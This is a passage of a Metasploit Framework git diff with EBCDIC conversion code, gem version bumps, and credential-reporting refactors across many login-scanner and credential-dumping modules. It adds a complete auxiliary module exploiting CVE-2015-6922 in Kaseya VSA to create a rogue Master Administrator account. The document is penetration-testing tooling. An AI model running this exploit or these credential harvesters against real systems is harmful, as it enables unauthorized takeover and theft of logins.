"\x92","\x8f","\x1c","\x1d","\x1e","\x1f","\x80","\x81","\x82",
"\x83","\x84","\x85","\x17","\x1b","\x88","\x89","\x8a","\x8b",
"\x8c","\x05","\x06","\x07","\x90","\x91","\x16","\x93","\x94",
"\x95","\x96","\x04","\x98","\x99","\x9a","\x9b","\x14","\x15",
"\x9e","\x1a","\x20","\xa0","\xe2","\xe4","\xe0","\xe1","\xe3",
"\xe5","\xe7","\xf1","\xa2","\x2e","\x3c","\x28","\x2b","\x7c",
"\x26","\xe9","\xea","\xeb","\xe8","\xed","\xee","\xef","\xec",
"\xdf","\x21","\x24","\x2a","\x29","\x3b","\x5e","\x2d","\x2f",
"\xc2","\xc4","\xc0","\xc1","\xc3","\xc5","\xc7","\xd1","\xa6",
"\x2c","\x25","\x5f","\x3e","\x3f","\xf8","\xc9","\xca","\xcb",
"\xc8","\xcd","\xce","\xcf","\xcc","\x60","\x3a","\x23","\x40",
"\x27","\x3d","\x22","\xd8","\x61","\x62","\x63","\x64","\x65",
"\x66","\x67","\x68","\x69","\xab","\xbb","\xf0","\xfd","\xfe",
"\xb1","\xb0","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70",
"\x71","\x72","\xaa","\xba","\xe6","\xb8","\xc6","\xa4","\xb5",
"\x7e","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a",
"\xa1","\xbf","\xd0","\x5b","\xde","\xae","\xac","\xa3","\xa5",
"\xb7","\xa9","\xa7","\xb6","\xbc","\xbd","\xbe","\xdd","\xa8",
"\xaf","\x5d","\xb4","\xd7","\x7b","\x41","\x42","\x43","\x44",
"\x45","\x46","\x47","\x48","\x49","\xad","\xf4","\xf6","\xf2",
"\xf3","\xf5","\x7d","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f",
"\x50","\x51","\x52","\xb9","\xfb","\xfc","\xf9","\xfa","\xff",
"\x5c","\xf7","\x53","\x54","\x55","\x56","\x57","\x58","\x59",
"\x5a","\xb2","\xd4","\xd6","\xd2","\xd3","\xd5","\x30","\x31",
"\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\xb3",
"\xdb","\xdc","\xd9","\xda","\x9f"
]
# The Iconv translation table. The Iconv gem is deprecated in favor of # The Iconv translation table. The Iconv gem is deprecated in favor of
# String#encode, yet there is no encoding for EBCDIC. See #4525 # String#encode, yet there is no encoding for EBCDIC. See #4525
Iconv_EBCDIC = [ Iconv_EBCDIC = [
@ -396,7 +483,7 @@ module Text
new_str.join new_str.join
end end
# A native implementation of the EBCIDC to ASCII conversion table, since # A native implementation of the EBCDIC to ASCII conversion table, since
# EBCDIC isn't available to String#encode as of Ruby 2.1 # EBCDIC isn't available to String#encode as of Ruby 2.1
# #
# @param str [String] an EBCDIC encoded string # @param str [String] an EBCDIC encoded string
@ -414,6 +501,39 @@ module Text
new_str.join new_str.join
end end
#
# The next two are the same as the above, except strictly for z/os
# conversions
# strictly for IBM1047 -> ISO8859-1
# A native implementation of the IBM1047(EBCDIC) -> ISO8859-1(ASCII)
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
# all 256 bytes are defined
#
def self.to_ibm1047(str)
return str if str.nil?
new_str = []
str.each_byte do |x|
new_str << Iconv_IBM1047[x.ord]
end
new_str.join
end
#
# The next two are the same as the above, except strictly for z/os
# conversions
# strictly for ISO8859-1 -> IBM1047
# A native implementation of the ISO8859-1(ASCII) -> IBM1047(EBCDIC)
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
#
def self.from_ibm1047(str)
return str if str.nil?
new_str = []
str.each_byte do |x|
new_str << Iconv_ISO8859_1[x.ord]
end
new_str.join
end
# #
# Returns the words in +str+ as an Array. # Returns the words in +str+ as an Array.
# #

View File

@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
# Metasploit::Credential database models # Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '1.0.1' spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
# Database models shared between framework and Pro. # Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
# depend on metasploit-framewrok as the optional gems are useless with the actual code # depend on metasploit-framewrok as the optional gems are useless with the actual code
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
# Needed for module caching in Mdm::ModuleDetails # Needed for module caching in Mdm::ModuleDetails

View File

@ -73,7 +73,7 @@ Gem::Specification.new do |spec|
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
spec.add_runtime_dependency 'railties' spec.add_runtime_dependency 'railties'
# required for OS fingerprinting # required for OS fingerprinting
spec.add_runtime_dependency 'recog', '2.0.6' spec.add_runtime_dependency 'recog', '2.0.14'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle: # rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module # NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA Master Administrator Account Creation',
'Description' => %q{
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
Master Administrator account. Normally this page is only accessible via the localhost
interface, but the application does nothing to prevent this apart from attempting to
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-448'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'DisclosureDate' => 'Sep 23 2015'))
register_options(
[
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'GET',
})
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
session_val = $1
else
print_error("#{peer} - Failed to get sessionVal")
return
end
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'POST',
'vars_post' => {
'sessionVal' => session_val,
'adminName' => datastore['KASEYA_USER'],
'NewPassword' => datastore['KASEYA_PASS'],
'confirm' => datastore['KASEYA_PASS'],
'adminEmail' => datastore['EMAIL'],
'setAccount' => 'Create'
}
})
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
print_error("#{peer} - Master Administrator account creation failed")
return
end
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['KASEYA_PASS'],
username: datastore['KASEYA_USER']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -27,6 +27,33 @@ class Metasploit3 < Msf::Auxiliary
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'mysql,mysql-sha1'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run def run
return if not mysql_login_datastore return if not mysql_login_datastore
print_status("Running MySQL Enumerator...") print_status("Running MySQL Enumerator...")
@ -86,15 +113,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("\tList of Accounts with Password Hashes:") print_status("\tList of Accounts with Password Hashes:")
res.each do |row| res.each do |row|
print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}") print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
report_auth_info({ report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:user => row[0], user: row[0],
:pass => row[2], password: row[2],
:type => "mysql_hash", service_name: 'mysql',
:sname => "mysql", proof: row.inspect
:active => true )
})
end end
end end
# Only list accounts that can log in with SSL if SSL is enabled # Only list accounts that can log in with SSL if SSL is enabled

View File

@ -175,15 +175,14 @@ class Metasploit3 < Msf::Auxiliary
@plain_passwords[i] << " (ISO-8859-1 hex chars)" @plain_passwords[i] << " (ISO-8859-1 hex chars)"
end end
report_auth_info({ report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:user => @users[i][0], user: @users[i][0],
:pass => @plain_passwords[i], password: @plain_passwords[i],
:type => "password", service_name: (ssl ? "https" : "http"),
:sname => (ssl ? "https" : "http"), proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
:proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}" )
})
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])] users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
end end
@ -191,6 +190,32 @@ class Metasploit3 < Msf::Auxiliary
print_line(users_table.to_s) print_line(users_table.to_s)
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def user_type(database) def user_type(database)
user_type = database user_type = database

View File

@ -90,18 +90,45 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def setup_ftp_connection def setup_ftp_connection
vprint_status "#{ip}:#{rport} - FTP - Connecting" vprint_status "#{ip}:#{rport} - FTP - Connecting"
if connect_login() conn = connect_login
if conn
print_status("#{ip}:#{rport} - FTP - Login succeeded") print_status("#{ip}:#{rport} - FTP - Login succeeded")
report_auth_info( report_cred(
:host => ip, ip: ip,
:port => rport, port: rport,
:proto => 'tcp', user: user,
:user => user, password: pass,
:pass => pass, service_name: 'modicon',
:ptype => 'password_ro', proof: "connect_login: #{conn}"
:active => true
) )
return true return true
else else

View File

@ -37,6 +37,33 @@ class Metasploit3 < Msf::Auxiliary
crack("oracle11g") crack("oracle11g")
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: opts[:format]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def crack(format) def crack(format)
@ -71,12 +98,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{cracked[:cracked]} hashes were cracked!") print_status("#{cracked[:cracked]} hashes were cracked!")
cracked[:users].each_pair do |k,v| cracked[:users].each_pair do |k,v|
print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
report_auth_info( report_cred(
:host => v[1], ip: v[1],
:port => v[2], port: v[2],
:sname => 'oracle', service_name: 'oracle',
:user => k, user: k,
:pass => v[0] pass: v[0],
format: format,
proof: cracked.inspect
) )
end end
end end

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}" ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}") pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
capture_sendto(p, ip) break unless capture_sendto(p, ip)
reply = probe_reply(pcap, to) reply = probe_reply(pcap, to)
next if reply.nil? next if reply.nil?

View File

@ -68,16 +68,41 @@ class Metasploit3 < Msf::Auxiliary
datastore['TIMEOUT'] datastore['TIMEOUT']
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def user_exists(user) def user_exists(user)
exists = wordpress_user_exists?(user) exists = wordpress_user_exists?(user)
if exists if exists
print_good("#{peer} - Username \"#{username}\" is valid") print_good("#{peer} - Username \"#{username}\" is valid")
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:sname => (ssl ? 'https' : 'http'), port: rport,
:user => user, user: user,
:port => rport, service_name: (ssl ? 'https' : 'http'),
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
) )
return true return true

View File

@ -45,10 +45,7 @@ class Metasploit3 < Msf::Auxiliary
p.udp_dport = datastore['RPORT'].to_i p.udp_dport = datastore['RPORT'].to_i
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few. p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
p.recalc p.recalc
capture_sendto(p, rhost) capture_sendto(p, rhost) and print_status("Avahi should be down now")
close_pcap close_pcap
print_status("Avahi should be down now")
end end
end end

View File

@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
p.tcp_sport = sport p.tcp_sport = sport
p.tcp_seq = rand(0x100000000) p.tcp_seq = rand(0x100000000)
p.recalc p.recalc
capture_sendto(p,rhost) break unless capture_sendto(p,rhost)
sent += 1 sent += 1
end end

View File

@ -103,6 +103,33 @@ class Metasploit3 < Msf::Auxiliary
} }
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run def run
print_status("#{rhost}:#{rport} - Fingerprinting...") print_status("#{rhost}:#{rport} - Fingerprinting...")
@ -183,13 +210,13 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Recovering Hashes...") print_status("#{rhost}:#{rport} - Recovering Hashes...")
json_info["result"]["resultSet"].each { |result| json_info["result"]["resultSet"].each { |result|
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}") print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => "Apache Rave", service_name: 'Apache Rave',
:user => result["username"], user: result["username"],
:pass => result["password"], password: result["password"],
:active => result["enabled"] proof: user_data
) )
} }

View File

@ -182,6 +182,32 @@ class Metasploit3 < Msf::Auxiliary
return res return res
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse the usernames, passwords, and security levels from the config # Parse the usernames, passwords, and security levels from the config
# It's a little ugly (lots of hard-coded offsets). # It's a little ugly (lots of hard-coded offsets).
# The userdata starts at an offset dictated by the B014USERS config # The userdata starts at an offset dictated by the B014USERS config
@ -213,13 +239,13 @@ class Metasploit3 < Msf::Auxiliary
break break
end end
logins << [accounttype, accountname, accountpass] logins << [accounttype, accountname, accountpass]
report_auth_info( report_cred(
:host => datastore['RHOST'], ip: datastore['RHOST'],
:port => 23, port: 23,
:sname => "telnet", service_name: 'telnet',
:user => accountname, user: accountname,
:pass => accountpass, password: accountpass,
:active => true proof: accounttype
) )
end end
if not logins.rows.empty? if not logins.rows.empty?

View File

@ -151,6 +151,32 @@ class Metasploit3 < Msf::Auxiliary
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run def run
return unless tokens = get_session_tokens return unless tokens = get_session_tokens
credentials = [] credentials = []
@ -172,14 +198,14 @@ class Metasploit3 < Msf::Auxiliary
'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] 'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
) )
credentials.each do |record| credentials.each do |record|
report_auth_info({ report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => (ssl ? 'https' : 'http'), service_name: (ssl ? 'https' : 'http'),
:user => record[0], user: record[0],
:pass => record[1], password: record[1],
:source_type => 'vuln' proof: @cookie
}) )
cred_table << [record[0], record[1], record[2], record[3]] cred_table << [record[0], record[1], record[2], record[3]]
end end
print_line print_line

View File

@ -88,6 +88,34 @@ class Metasploit3 < Msf::Auxiliary
return results return results
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run def run
print_status("#{peer} - Get Domain Info") print_status("#{peer} - Get Domain Info")
@ -121,14 +149,14 @@ class Metasploit3 < Msf::Auxiliary
) )
credentials.each do |record| credentials.each do |record|
report_auth_info({ report_cred(
:host => record[0], ip: record[0],
:port => record[1], port: record[1],
:sname => record[2].downcase, service_name: record[2].downcase,
:user => record[3], user: record[3],
:pass => record[4], password: record[4],
:source_type => "vuln" proof: domain_info.inspect
}) )
cred_table << [record[0], record[3], record[4]] cred_table << [record[0], record[3], record[4]]
end end

View File

@ -145,6 +145,33 @@ class Metasploit3 < Msf::Auxiliary
Msf::Exploit::CheckCode::Safe Msf::Exploit::CheckCode::Safe
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run def run
print_status("#{peer} - Checking for a valid node id...") print_status("#{peer} - Checking for a valid node id...")
node_id = get_node node_id = get_node
@ -171,15 +198,14 @@ class Metasploit3 < Msf::Auxiliary
for i in 0..count_users for i in 0..count_users
user = get_user_data(node_id, i) user = get_user_data(node_id, i)
unless user.join.empty? unless user.join.empty?
report_auth_info({ report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:user => user[0], user: user[0],
:pass => user[1], password: user[1],
:type => "hash", service_name: (ssl ? "https" : "http"),
:sname => (ssl ? "https" : "http"), proof: "salt: #{user[2]}"
:proof => "salt: #{user[2]}" # Using proof to store the hash salt )
})
users_table << user users_table << user
end end
end end

View File

@ -198,6 +198,32 @@ class Metasploit3 < Msf::Auxiliary
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_client_unattend(data) def parse_client_unattend(data)
begin begin
@ -216,15 +242,13 @@ class Metasploit3 < Msf::Auxiliary
end end
def report_creds(domain, user, pass) def report_creds(domain, user, pass)
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => 445, port: 445,
:sname => 'smb', service_name: 'smb',
:proto => 'tcp', user: "#{domain}\\#{user}",
:source_id => nil, password: pass,
:source_type => "aux", proof: domain
:user => "#{domain}\\#{user}",
:pass => pass
) )
end end

View File

@ -76,6 +76,34 @@ class Metasploit3 < Msf::Auxiliary
nil nil
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5,des'
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip) def run_host(ip)
users_found = false users_found = false
@ -117,14 +145,13 @@ class Metasploit3 < Msf::Auxiliary
unless match.nil? unless match.nil?
print_good("Username: #{match[0]}") print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}") print_good("Password Hash: #{match[1]}")
report_auth_info( report_cred(
host: rhost, ip: rhost,
port: rport, port: rport,
sname: ssl ? 'https' : 'http', service_name: ssl ? 'https' : 'http',
user: match[0], user: match[0],
pass: match[1], password: match[1],
active: true, proof: result.body
type: 'hash'
) )
users_found = true users_found = true
end end

View File

@ -74,6 +74,32 @@ class Metasploit3 < Msf::Auxiliary
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server") vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user, pass) def do_login(user, pass)
vprint_status("Trying username:'#{user}' with password:'#{pass}'") vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin begin
@ -91,17 +117,14 @@ class Metasploit3 < Msf::Auxiliary
return :skip_pass return :skip_pass
else else
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'") vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
report_cred(
report_hash = { ip: datastore['RHOST'],
:host => datastore['RHOST'], port: datastore['RPORT'],
:port => datastore['RPORT'], service_name: 'couchdb',
:sname => 'couchdb', user: user,
:user => user, password: pass,
:pass => pass, proof: res.code.to_s
:active => true, )
:type => 'password'}
report_auth_info(report_hash)
return :next_user return :next_user
end end

View File

@ -216,15 +216,40 @@ class Metasploit3 < Msf::Auxiliary
print_status("Raw version of #{archi} saved as: #{p}") print_status("Raw version of #{archi} saved as: #{p}")
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def report_creds(domain, user, pass) def report_creds(domain, user, pass)
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => 4050, port: 4050,
:sname => 'dcerpc', service_name: 'dcerpc',
:proto => 'tcp', user: "#{domain}\\#{user}",
:source_id => nil, password: pass,
:source_type => "aux", proof: domain
:user => "#{domain}\\#{user}", )
:pass => pass)
end end
end end

View File

@ -69,22 +69,45 @@ class Metasploit3 < Msf::Auxiliary
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil ) if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'") print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:proto => 'tcp', service_name: (ssl ? 'https' : 'http'),
:sname => (ssl ? 'https' : 'http'), user: user,
:user => user, password: pass,
:pass => pass, proof: auth.body.to_s
:active => true,
:source_type => "user_supplied",
:duplicate_ok => true
) )
else else
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'") print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
end end
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip) def run_host(ip)
print_status("Verifying that login page exists at #{ip}") print_status("Verifying that login page exists at #{ip}")
uri = normalize_uri(target_uri.path) uri = normalize_uri(target_uri.path)

View File

@ -72,6 +72,32 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# #
# Brute-force the login page # Brute-force the login page
# #
@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 302 and res.headers['Location'].include?("frameset")) if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = { report_cred(
:host => rhost, ip: rhost,
:port => rport, port: rport,
:sname => 'OpenMind Message-OS Provisioning Portal', service_name: 'OpenMind Message-OS Provisioning Portal',
:user => user, user: user,
:pass => pass, password: pass,
:active => true, proof: res.headers['Location']
:type => 'password' )
}
report_auth_info(report_hash)
return :next_user return :next_user
else else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
